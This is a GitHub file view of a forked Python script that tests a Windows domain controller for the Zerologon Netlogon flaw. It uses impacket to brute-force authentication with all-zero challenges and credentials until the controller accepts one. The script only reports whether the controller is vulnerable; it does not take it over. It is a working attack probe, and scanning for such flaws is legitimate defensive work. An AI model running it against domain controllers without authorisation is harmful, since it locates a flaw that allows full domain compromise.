forked from zeronetworks/zerologon
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathzerologon.py
127 lines (96 loc) · 4.89 KB
/
zerologon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from argparse import ArgumentParser
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5 import transport
import os
import sys
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer,domain,user,password,test_type,privacy):
# Connect to the DC's Netlogon service.
if 'rpc' in test_type:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
else:
binding = r'ncacn_np:%s[\PIPE\netlogon]' % dc_ip
rpctransport = transport.DCERPCTransportFactory(binding)
if 'smb' in test_type:
if hasattr(rpctransport, 'set_credentials'):
username = user
if not username:
username = target_computer
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, domain, '', '')
dce = rpctransport.get_dce_rpc()
if privacy:
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
finaly_rand_byte = os.urandom(1)
plaintext = b'\x00' * 7 + finaly_rand_byte
ciphertext = b'\x00' * 7 + finaly_rand_byte
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(dce, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
dce, dc_handle + '\x00', target_computer + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return dce
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer,domain,user,password,test_type,privacy):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer,domain,user,password,test_type,privacy)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
def parse_args():
parser = ArgumentParser(prog=ArgumentParser().prog,prefix_chars="-/",add_help=False,description=f'Perform zerologon test over RPC/TCP or RPC/SMB')
parser.add_argument('-h','--help','/?','/h','/help',action='help',help='show this help message and exit')
parser.add_argument("dc_name", help="NetBIOS name of the domain controller", type=str)
parser.add_argument("dc_ip", help="ip address of the domain controller", type=str)
parser.add_argument("-u", "--user", dest='user', metavar='', help="authenticated domain user,may be required for SMB", type=str,default="")
parser.add_argument("-d", "--domain", dest='domain', metavar='',
help="domain name, required only when authentication over SMB", type=str, default="")
parser.add_argument("-p", "--pass", dest='password', metavar='', help="authenticated domain user's password, may be required for SMB", type=str,default="")
parser.add_argument("-t", "--type", metavar="", dest="test_type", choices=["smb","rpc"], default="smb",
help="rpc or smb scan. choices: [%(choices)s], (default: 'smb').")
parser.add_argument("-pp","--privacy", dest="privacy", action="store_true",help="if exists adds packet privacy")
args = parser.parse_args()
return args
if __name__ == '__main__':
args = parse_args()
dc_name = args.dc_name
dc_ip = args.dc_ip
user = args.user
password = args.password
test_type = args.test_type
domain = args.domain
privacy = args.privacy
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name,domain,user,password,test_type,privacy)